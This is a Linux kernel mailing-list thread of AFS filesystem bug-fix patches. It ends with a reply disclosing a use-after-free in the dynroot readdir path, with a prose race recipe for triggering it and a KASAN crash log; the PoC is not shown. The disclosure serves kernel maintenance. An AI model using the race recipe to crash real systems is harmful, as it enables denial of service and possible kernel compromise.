* [PATCH v3 01/20] afs: handle CB.InitCallBackState3 requests without a server record
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 02/20] afs: Fix error code in afs_extract_vl_addrs() David Howells
` (18 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Nan Li, stable, Yuan Tan, Yifan Wu, Juefei Pu,
Xin Liu, Ren Wei
From: Nan Li <tonanli66@gmail.com>
The cache manager callback path now attaches the server record to an
incoming call through the rxrpc peer's app data. That association is
not guaranteed to exist for every callback request, and most callback
handlers already tolerate that case.
Make CB.InitCallBackState3 follow the same pattern by checking whether a
server record was attached before using it. If the peer is not mapped
to a server record, trace the request and ignore it, matching the
existing behaviour for other unmatched callback requests.
This keeps the callback handler consistent with the rest of the cache
manager service and avoids depending on peer state that may not be
available for a given request.
Fixes: 40e8b52fe8c8 ("afs: Use the per-peer app data provided by rxrpc")
Cc: stable@kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Yifan Wu <yifanwucs@gmail.com>
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Signed-off-by: Nan Li <tonanli66@gmail.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/cmservice.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/fs/afs/cmservice.c b/fs/afs/cmservice.c
index 5540ae1cad59..263c60c811a5 100644
--- a/fs/afs/cmservice.c
+++ b/fs/afs/cmservice.c
@@ -364,6 +364,11 @@ static int afs_deliver_cb_init_call_back_state3(struct afs_call *call)
if (!afs_check_call_state(call, AFS_CALL_SV_REPLYING))
return afs_io_error(call, afs_io_error_cm_reply);
+ if (!call->server) {
+ trace_afs_cm_no_server_u(call, call->request);
+ return 0;
+ }
+
if (memcmp(call->request, &call->server->_uuid, sizeof(call->server->_uuid)) != 0) {
pr_notice("Callback UUID does not match fileserver UUID\n");
trace_afs_cm_no_server_u(call, call->request);
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 02/20] afs: Fix error code in afs_extract_vl_addrs()
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
2026-06-18 15:51 ` [PATCH v3 01/20] afs: handle CB.InitCallBackState3 requests without a server record David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 03/20] afs: fix NULL pointer dereference in afs_get_tree() David Howells
` (17 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Dan Carpenter
From: Dan Carpenter <error27@gmail.com>
The error codes on these paths are only set on the first iteration
through the loop. Set the correct error code on every iteration.
Fixes: 0a5143f2f89c ("afs: Implement VL server rotation")
Signed-off-by: Dan Carpenter <error27@gmail.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/vl_list.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/fs/afs/vl_list.c b/fs/afs/vl_list.c
index 3e4966915ea4..003889cf0f18 100644
--- a/fs/afs/vl_list.c
+++ b/fs/afs/vl_list.c
@@ -92,7 +92,7 @@ static struct afs_addr_list *afs_extract_vl_addrs(struct afs_net *net,
{
struct afs_addr_list *alist;
const u8 *b = *_b;
- int ret = -EINVAL;
+ int ret;
alist = afs_alloc_addrlist(nr_addrs);
if (!alist)
@@ -110,6 +110,7 @@ static struct afs_addr_list *afs_extract_vl_addrs(struct afs_net *net,
case DNS_ADDRESS_IS_IPV4:
if (end - b < 4) {
_leave(" = -EINVAL [short inet]");
+ ret = -EINVAL;
goto error;
}
memcpy(x, b, 4);
@@ -122,6 +123,7 @@ static struct afs_addr_list *afs_extract_vl_addrs(struct afs_net *net,
case DNS_ADDRESS_IS_IPV6:
if (end - b < 16) {
_leave(" = -EINVAL [short inet6]");
+ ret = -EINVAL;
goto error;
}
memcpy(x, b, 16);
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 03/20] afs: fix NULL pointer dereference in afs_get_tree()
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
2026-06-18 15:51 ` [PATCH v3 01/20] afs: handle CB.InitCallBackState3 requests without a server record David Howells
2026-06-18 15:51 ` [PATCH v3 02/20] afs: Fix error code in afs_extract_vl_addrs() David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 04/20] afs: Fix double netfs initialisation in afs_root_iget() David Howells
` (16 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Matvey Kovalev, stable
From: Matvey Kovalev <matvey.kovalev@ispras.ru>
afs_alloc_sbi() uses kzalloc for memory allocation. And, if
ctx->dyn_root is not null, as->cell and as->volume are null.
In trace_afs_get_tree() they are dereferenced.
KASAN error message:
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
CPU: 2 PID: 18478 Comm: syz-executor.7 Not tainted 5.10.246-syzkaller #0
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1
04/01/2014
RIP: 0010:perf_trace_afs_get_tree+0x1d9/0x550
include/trace/events/afs.h:1365
Call Trace:
trace_afs_get_tree include/trace/events/afs.h:1365 [inline]
afs_get_tree+0x922/0x1350 fs/afs/super.c:599
vfs_get_tree+0x8e/0x300 fs/super.c:1572
do_new_mount fs/namespace.c:3011 [inline]
path_mount+0x14a5/0x2220 fs/namespace.c:3341
do_mount fs/namespace.c:3354 [inline]
__do_sys_mount fs/namespace.c:3562 [inline]
__se_sys_mount fs/namespace.c:3539 [inline]
__x64_sys_mount+0x283/0x300 fs/namespace.c:3539
do_syscall_64+0x33/0x50 arch/x86/entry/common.c:46
entry_SYSCALL_64_after_hwframe+0x67/0xd1
Found by Linux Verification Center (linuxtesting.org) with Syzkaller.
Fixes: 80548b03991f5 ("afs: Add more tracepoints")
Cc: stable@vger.kernel.org
Signed-off-by: Matvey Kovalev <matvey.kovalev@ispras.ru>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/super.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/fs/afs/super.c b/fs/afs/super.c
index 942f3e9800d7..dec091e569c4 100644
--- a/fs/afs/super.c
+++ b/fs/afs/super.c
@@ -587,7 +587,8 @@ static int afs_get_tree(struct fs_context *fc)
}
fc->root = dget(sb->s_root);
- trace_afs_get_tree(as->cell, as->volume);
+ if (!ctx->dyn_root)
+ trace_afs_get_tree(as->cell, as->volume);
_leave(" = 0 [%p]", sb);
return 0;
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 04/20] afs: Fix double netfs initialisation in afs_root_iget()
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (2 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 03/20] afs: fix NULL pointer dereference in afs_get_tree() David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 05/20] afs: Remove setting of AS_RELEASE_ALWAYS for symlinks and mountpoints David Howells
` (15 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix afs_root_iget() to leave initialisation of the netfs_inode part of the
afs_vnode to afs_inode_init_from_status().
Fixes: bc899ee1c898 ("netfs: Add a netfs inode context")
Closes: https://sashiko.dev/#/patchset/20260609081738.770127-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/inode.c | 1 -
1 file changed, 1 deletion(-)
diff --git a/fs/afs/inode.c b/fs/afs/inode.c
index 3f48458694ba..a88995629d72 100644
--- a/fs/afs/inode.c
+++ b/fs/afs/inode.c
@@ -566,7 +566,6 @@ struct inode *afs_root_iget(struct super_block *sb, struct key *key)
vnode = AFS_FS_I(inode);
vnode->cb_v_check = atomic_read(&as->volume->cb_v_break);
- afs_set_netfs_context(vnode);
op = afs_alloc_operation(key, as->volume);
if (IS_ERR(op)) {
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 05/20] afs: Remove setting of AS_RELEASE_ALWAYS for symlinks and mountpoints
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (3 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 04/20] afs: Fix double netfs initialisation in afs_root_iget() David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 06/20] afs: Fix directory inode initialisation order David Howells
` (14 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Deepakkumar Karn
Regular AFS files correctly use afs_file_aops which have release_folio
set as netfs_release_folio, so AS_RELEASE_ALWAYS is valid for them
when fscache is enabled (set via afs_vnode_set_cache()).
Symlinks and mountpoints in AFS use afs_dir_aops, which does not provide
a release_folio callback. However, afs_apply_status() unconditionally
calls mapping_set_release_always() for these.
In such case when memory management code attempts to release folios,
filemap_release_folio() checks folio_needs_release() which
returns true due to AS_RELEASE_ALWAYS being set. Since there is no
release_folio callback, it falls through to try_to_free_buffers(),
which at present expects buffer_heads to be not null. For symlinks
and mountpoints without buffer_heads, this causes pointer dereference.
[dh: Added more bits that were missed]
Fixes: eae9e78951bb ("afs: Use netfslib for symlinks, allowing them to be cached")
Signed-off-by: Deepakkumar Karn <dkarn@redhat.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/inode.c | 7 +++----
fs/afs/internal.h | 2 --
2 files changed, 3 insertions(+), 6 deletions(-)
diff --git a/fs/afs/inode.c b/fs/afs/inode.c
index a88995629d72..54ac6ec21daf 100644
--- a/fs/afs/inode.c
+++ b/fs/afs/inode.c
@@ -52,9 +52,9 @@ static noinline void dump_vnode(struct afs_vnode *vnode, struct afs_vnode *paren
/*
* Set parameters for the netfs library
*/
-static void afs_set_netfs_context(struct afs_vnode *vnode)
+static void afs_set_netfs_context(struct afs_vnode *vnode, bool is_file)
{
- netfs_inode_init(&vnode->netfs, &afs_req_ops, true);
+ netfs_inode_init(&vnode->netfs, &afs_req_ops, is_file);
}
/*
@@ -126,7 +126,6 @@ static int afs_inode_init_from_status(struct afs_operation *op,
}
inode->i_mapping->a_ops = &afs_symlink_aops;
inode_nohighmem(inode);
- mapping_set_release_always(inode->i_mapping);
break;
default:
dump_vnode(vnode, op->file[0].vnode != vnode ? op->file[0].vnode : NULL);
@@ -136,7 +135,7 @@ static int afs_inode_init_from_status(struct afs_operation *op,
i_size_write(inode, status->size);
inode_set_bytes(inode, status->size);
- afs_set_netfs_context(vnode);
+ afs_set_netfs_context(vnode, status->type == AFS_FTYPE_FILE);
vnode->invalid_before = status->data_version;
trace_afs_set_dv(vnode, status->data_version);
diff --git a/fs/afs/internal.h b/fs/afs/internal.h
index 0b72a8566299..785c646856d7 100644
--- a/fs/afs/internal.h
+++ b/fs/afs/internal.h
@@ -750,8 +750,6 @@ static inline void afs_vnode_set_cache(struct afs_vnode *vnode,
{
#ifdef CONFIG_AFS_FSCACHE
vnode->netfs.cache = cookie;
- if (cookie)
- mapping_set_release_always(vnode->netfs.inode.i_mapping);
#endif
}
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 06/20] afs: Fix directory inode initialisation order
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (4 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 05/20] afs: Remove setting of AS_RELEASE_ALWAYS for symlinks and mountpoints David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 07/20] afs: use kvfree() to free memory allocated by kvcalloc() David Howells
` (13 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix afs_inode_init_from_status() to call afs_set_netfs_context() before the
switch to do file type-specific initialisation because local directory
changes don't get uploaded to the server, only stored in the cache.
This requires that the file size be set before, so move that up too.
Without this, NETFS_ICTX_SINGLE_NO_UPLOAD as set on directories gets
clobbered.
Closes: https://sashiko.dev/#/patchset/20260618074903.2374756-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
Fixes: 6dd80936618c ("afs: Use netfslib for directories")
---
fs/afs/inode.c | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/fs/afs/inode.c b/fs/afs/inode.c
index 54ac6ec21daf..51c28f148845 100644
--- a/fs/afs/inode.c
+++ b/fs/afs/inode.c
@@ -93,6 +93,10 @@ static int afs_inode_init_from_status(struct afs_operation *op,
inode->i_gid = make_kgid(&init_user_ns, status->group);
set_nlink(&vnode->netfs.inode, status->nlink);
+ i_size_write(inode, status->size);
+ inode_set_bytes(inode, status->size);
+ afs_set_netfs_context(vnode, status->type == AFS_FTYPE_FILE);
+
switch (status->type) {
case AFS_FTYPE_FILE:
inode->i_mode = S_IFREG | (status->mode & S_IALLUGO);
@@ -133,10 +137,6 @@ static int afs_inode_init_from_status(struct afs_operation *op,
return afs_protocol_error(NULL, afs_eproto_file_type);
}
- i_size_write(inode, status->size);
- inode_set_bytes(inode, status->size);
- afs_set_netfs_context(vnode, status->type == AFS_FTYPE_FILE);
-
vnode->invalid_before = status->data_version;
trace_afs_set_dv(vnode, status->data_version);
inode_set_iversion_raw(&vnode->netfs.inode, status->data_version);
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 07/20] afs: use kvfree() to free memory allocated by kvcalloc()
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (5 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 06/20] afs: Fix directory inode initialisation order David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 08/20] afs: Remove erroneous seq |= 1 in volume lookup loop David Howells
` (12 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Zilin Guan
From: Zilin Guan <zilin@seu.edu.cn>
op->more_files is allocated with kvcalloc() but released via
afs_put_operation(), which uses kfree() internally. This mismach prevents
the resource from being released properly and may lead to undefined
behavior.
Fix this by using kvfree() to free op->more_files to match its allocation
method.
Fixes: e49c7b2f6de7 ("afs: Build an abstraction around an "operation" concept")
Signed-off-by: Zilin Guan <zilin@seu.edu.cn>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/fs_operation.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fs/afs/fs_operation.c b/fs/afs/fs_operation.c
index c0dbbc6d3716..20801b29521d 100644
--- a/fs/afs/fs_operation.c
+++ b/fs/afs/fs_operation.c
@@ -348,7 +348,7 @@ int afs_put_operation(struct afs_operation *op)
for (i = 0; i < op->nr_files - 2; i++)
if (op->more_files[i].put_vnode)
iput(&op->more_files[i].vnode->netfs.inode);
- kfree(op->more_files);
+ kvfree(op->more_files);
}
if (op->estate) {
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 08/20] afs: Remove erroneous seq |= 1 in volume lookup loop
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (6 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 07/20] afs: use kvfree() to free memory allocated by kvcalloc() David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 09/20] afs: check for duplicate servers in VL server list David Howells
` (11 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Li RongQing, Oleg Nesterov
From: Li RongQing <lirongqing@baidu.com>
The `seq |= 1` operation in the volume lookup loop is incorrect because:
seq is already incremented at start, making it odd in next iteration
which triggers lock, but The `|= 1` operation causes seq to be even
and unintended lockless operation
Remove this erroneous operation to maintain proper lock sequencing.
Fixes: 32222f09782f ("afs: Apply server breaks to mmap'd files in the call processor")
Signed-off-by: Li RongQing <lirongqing@baidu.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Reviewed-by: Oleg Nesterov <oleg@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/callback.c | 1 -
1 file changed, 1 deletion(-)
diff --git a/fs/afs/callback.c b/fs/afs/callback.c
index 894d2bad6b6c..833ac3178ddc 100644
--- a/fs/afs/callback.c
+++ b/fs/afs/callback.c
@@ -140,7 +140,6 @@ static struct afs_volume *afs_lookup_volume_rcu(struct afs_cell *cell,
break;
if (!need_seqretry(&cell->volume_lock, seq))
break;
- seq |= 1; /* Want a lock next time */
}
done_seqretry(&cell->volume_lock, seq);
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 09/20] afs: check for duplicate servers in VL server list
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (7 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 08/20] afs: Remove erroneous seq |= 1 in volume lookup loop David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 10/20] afs: Fix bulk lookup malfunction due to change in dir_emit() API David Howells
` (10 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Yuto Ohnuki
From: Yuto Ohnuki <ytohnuki@amazon.com>
The DNS response may contain the same server more than once. Check for
duplicates by name and port before inserting into the list to avoid
duplicate entries.
Addresses the TODO comment in afs_extract_vlserver_list().
Signed-off-by: Yuto Ohnuki <ytohnuki@amazon.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/vl_list.c | 14 +++++++++++++-
1 file changed, 13 insertions(+), 1 deletion(-)
diff --git a/fs/afs/vl_list.c b/fs/afs/vl_list.c
index 003889cf0f18..8e1cf6cdcf71 100644
--- a/fs/afs/vl_list.c
+++ b/fs/afs/vl_list.c
@@ -289,8 +289,20 @@ struct afs_vlserver_list *afs_extract_vlserver_list(struct afs_cell *cell,
afs_put_addrlist(old, afs_alist_trace_put_vlserver_old);
}
+ /* Check for duplicates in the server list */
+ for (j = 0; j < vllist->nr_servers; j++) {
+ struct afs_vlserver *s = vllist->servers[j].server;
- /* TODO: Might want to check for duplicates */
+ if (s->name_len == server->name_len &&
+ s->port == server->port &&
+ strncasecmp(s->name, server->name, server->name_len) == 0) {
+ afs_put_vlserver(cell->net, server);
+ server = NULL;
+ break;
+ }
+ }
+ if (!server)
+ continue;
/* Insertion-sort by priority and weight */
for (j = 0; j < vllist->nr_servers; j++) {
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 10/20] afs: Fix bulk lookup malfunction due to change in dir_emit() API
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (8 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 09/20] afs: check for duplicate servers in VL server list David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding David Howells
` (9 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Amir Goldstein
afs_do_lookup() and afs_do_lookup_one() use the same directory parsing code
as afs_readdir() and were supplying alternative dir_context actors to
retrieve dirents, but because lookup needs the vnode's uniquifier as part
of the reference, but not the DT flags, the uniquifier was being passed in
the dt flags argument to the lookup actors.
Unfortunately, commit c644bce62b9c, added to fix overlayfs with fuse, broke
this by masking off part of the uniquifier. This doesn't matter enough to
be directly noticeable, instead causing bulk advance inode lookups to fail
(which are retried later) and may cause dir revalidation to malfunction if
the uniquifier is changed by masking.
Fix this by making the afs directory parsing code take special ->actor
values of AFS_LOOKUP or AFS_LOOKUP_ONE instead that tell it to call
afs_lookup_filldir() or afs_lookup_one_filldir() directly rather than going
through dir_emit(). dir_emit() is still used for readdir.
Fixes: c644bce62b9c ("readdir: require opt-in for d_type flags")
Reported-by: Marc Dionne <marc.dionne@auristor.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Amir Goldstein <amir73il@gmail.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/dir.c | 32 +++++++++++++++++++++-----------
1 file changed, 21 insertions(+), 11 deletions(-)
diff --git a/fs/afs/dir.c b/fs/afs/dir.c
index 498b99ccdf0e..7af36370ccb4 100644
--- a/fs/afs/dir.c
+++ b/fs/afs/dir.c
@@ -28,9 +28,11 @@ static int afs_d_revalidate(struct inode *dir, const struct qstr *name,
static int afs_d_delete(const struct dentry *dentry);
static void afs_d_iput(struct dentry *dentry, struct inode *inode);
static bool afs_lookup_one_filldir(struct dir_context *ctx, const char *name, int nlen,
- loff_t fpos, u64 ino, unsigned dtype);
+ u64 ino, u32 uniquifier);
+#define AFS_LOOKUP_ONE ((filldir_t)0x123UL)
static bool afs_lookup_filldir(struct dir_context *ctx, const char *name, int nlen,
- loff_t fpos, u64 ino, unsigned dtype);
+ u64 ino, u32 uniquifier);
+#define AFS_LOOKUP ((filldir_t)0x137UL)
static int afs_create(struct mnt_idmap *idmap, struct inode *dir,
struct dentry *dentry, umode_t mode, bool excl);
static struct dentry *afs_mkdir(struct mnt_idmap *idmap, struct inode *dir,
@@ -421,11 +423,18 @@ static int afs_dir_iterate_block(struct afs_vnode *dvnode,
}
/* found the next entry */
- if (!dir_emit(ctx, dire->u.name, nlen,
- ntohl(dire->u.vnode),
- (ctx->actor == afs_lookup_filldir ||
- ctx->actor == afs_lookup_one_filldir)?
- ntohl(dire->u.unique) : DT_UNKNOWN)) {
+ if (ctx->actor == AFS_LOOKUP) {
+ if (!afs_lookup_filldir(ctx, dire->u.name, nlen,
+ ntohl(dire->u.vnode),
+ ntohl(dire->u.unique)))
+ return 0;
+ } else if (ctx->actor == AFS_LOOKUP_ONE) {
+ if (!afs_lookup_one_filldir(ctx, dire->u.name, nlen,
+ ntohl(dire->u.vnode),
+ ntohl(dire->u.unique)))
+ return 0;
+ } else if (!dir_emit(ctx, dire->u.name, nlen,
+ ntohl(dire->u.vnode), DT_UNKNOWN)) {
_leave(" = 0 [full]");
return 0;
}
@@ -545,6 +554,7 @@ static int afs_readdir(struct file *file, struct dir_context *ctx)
{
afs_dataversion_t dir_version;
+ ctx->dt_flags_mask = UINT_MAX;
return afs_dir_iterate(file_inode(file), ctx, file, &dir_version);
}
@@ -554,7 +564,7 @@ static int afs_readdir(struct file *file, struct dir_context *ctx)
* uniquifier through dtype
*/
static bool afs_lookup_one_filldir(struct dir_context *ctx, const char *name,
- int nlen, loff_t fpos, u64 ino, unsigned dtype)
+ int nlen, u64 ino, unsigned dtype)
{
struct afs_lookup_one_cookie *cookie =
container_of(ctx, struct afs_lookup_one_cookie, ctx);
@@ -591,7 +601,7 @@ static int afs_do_lookup_one(struct inode *dir, const struct qstr *name,
{
struct afs_super_info *as = dir->i_sb->s_fs_info;
struct afs_lookup_one_cookie cookie = {
- .ctx.actor = afs_lookup_one_filldir,
+ .ctx.actor = AFS_LOOKUP_ONE,
.name = *name,
.fid.vid = as->volume->vid
};
@@ -622,7 +632,7 @@ static int afs_do_lookup_one(struct inode *dir, const struct qstr *name,
* uniquifier through dtype
*/
static bool afs_lookup_filldir(struct dir_context *ctx, const char *name,
- int nlen, loff_t fpos, u64 ino, unsigned dtype)
+ int nlen, u64 ino, unsigned dtype)
{
struct afs_lookup_cookie *cookie =
container_of(ctx, struct afs_lookup_cookie, ctx);
@@ -778,7 +788,7 @@ static struct inode *afs_do_lookup(struct inode *dir, struct dentry *dentry)
for (i = 0; i < ARRAY_SIZE(cookie->fids); i++)
cookie->fids[i].vid = dvnode->fid.vid;
- cookie->ctx.actor = afs_lookup_filldir;
+ cookie->ctx.actor = AFS_LOOKUP;
cookie->name = dentry->d_name;
cookie->nr_fids = 2; /* slot 1 is saved for the fid we actually want
* and slot 0 for the directory */
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (9 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 10/20] afs: Fix bulk lookup malfunction due to change in dir_emit() API David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-22 20:29 ` XIAO WU
2026-06-18 15:51 ` [PATCH v3 12/20] afs: Fix reinitialisation of the inode, in particular ->lock_work David Howells
` (8 subsequent siblings)
19 siblings, 1 reply; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Hillf Danton
Fix net->cells_outstanding being incremented before the check for failure
of idr_alloc_cyclic(), leaving the count incremented on error.
Fixes: 88c853c3f5c0 ("afs: Fix cell refcounting by splitting the usage counter")
Reported-by: Hillf Danton <hdanton@sina.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/cell.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fs/afs/cell.c b/fs/afs/cell.c
index 9738684dbdd2..e0fab1609f27 100644
--- a/fs/afs/cell.c
+++ b/fs/afs/cell.c
@@ -205,11 +205,11 @@ static struct afs_cell *afs_alloc_cell(struct afs_net *net,
cell->dns_source = vllist->source;
cell->dns_status = vllist->status;
smp_store_release(&cell->dns_lookup_count, 1); /* vs source/status */
- atomic_inc(&net->cells_outstanding);
ret = idr_alloc_cyclic(&net->cells_dyn_ino, cell,
2, INT_MAX / 2, GFP_KERNEL);
if (ret < 0)
goto error;
+ atomic_inc(&net->cells_outstanding);
cell->dynroot_ino = ret;
cell->debug_id = atomic_inc_return(&cell_debug_id);
^ permalink raw reply related [flat|nested] 24+ messages in thread* Re: [PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding
2026-06-18 15:51 ` [PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding David Howells
@ 2026-06-22 20:29 ` XIAO WU
0 siblings, 0 replies; 24+ messages in thread
From: XIAO WU @ 2026-06-22 20:29 UTC (permalink / raw)
To: David Howells, Christian Brauner
Cc: Marc Dionne, linux-afs, linux-fsdevel, linux-kernel, Hillf Danton
Hi David,
I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path. The review
noted this is a pre-existing issue (not introduced by your patch), but
since this patch touches nearby code in the same file, I wanted to share
the concrete reproduction evidence.
The core problem is that afs_dynroot_readdir_cells() iterates over
net->cells_dyn_ino via idr_get_next() without holding rcu_read_lock():
fs/afs/dynroot.c:
cell = idr_get_next(&net->cells_dyn_ino, &ix);
...
dir_emit(..., cell->name, cell->name_len, ...);
The dir_emit() call can sleep, allowing an RCU grace period to pass.
Meanwhile, afs_cell_destroy() (invoked via call_rcu) can idr_remove()
and kfree() the cell while the reader is still traversing it. This
results in a slab-use-after-free when the reader accesses cell->name or
cell->state.
[Reproduction]
The PoC mounts an AFS dynroot filesystem, creates 500 cells to populate
the IDR radix tree, then races two readdir threads against two threads
that repeatedly trigger cell creation and destruction via
/proc/fs/afs/cells. The UAF triggers deterministically within 2 minutes.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in memchr+0x71/0x80
Read of size 1 at addr ffff888024a7dce0 by task poc/12759
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
memchr+0x71/0x80
verify_dirent_name+0x42/0x60
filldir64+0x45/0x5f0
The crash is in verify_dirent_name() → memchr() reading a cell->name
string that was freed via afs_cell_destroy() → kfree() while the
readdir iteration was in progress.
The PoC is attached. It compiles with:
gcc -o poc poc.c -static -lpthread
[1]
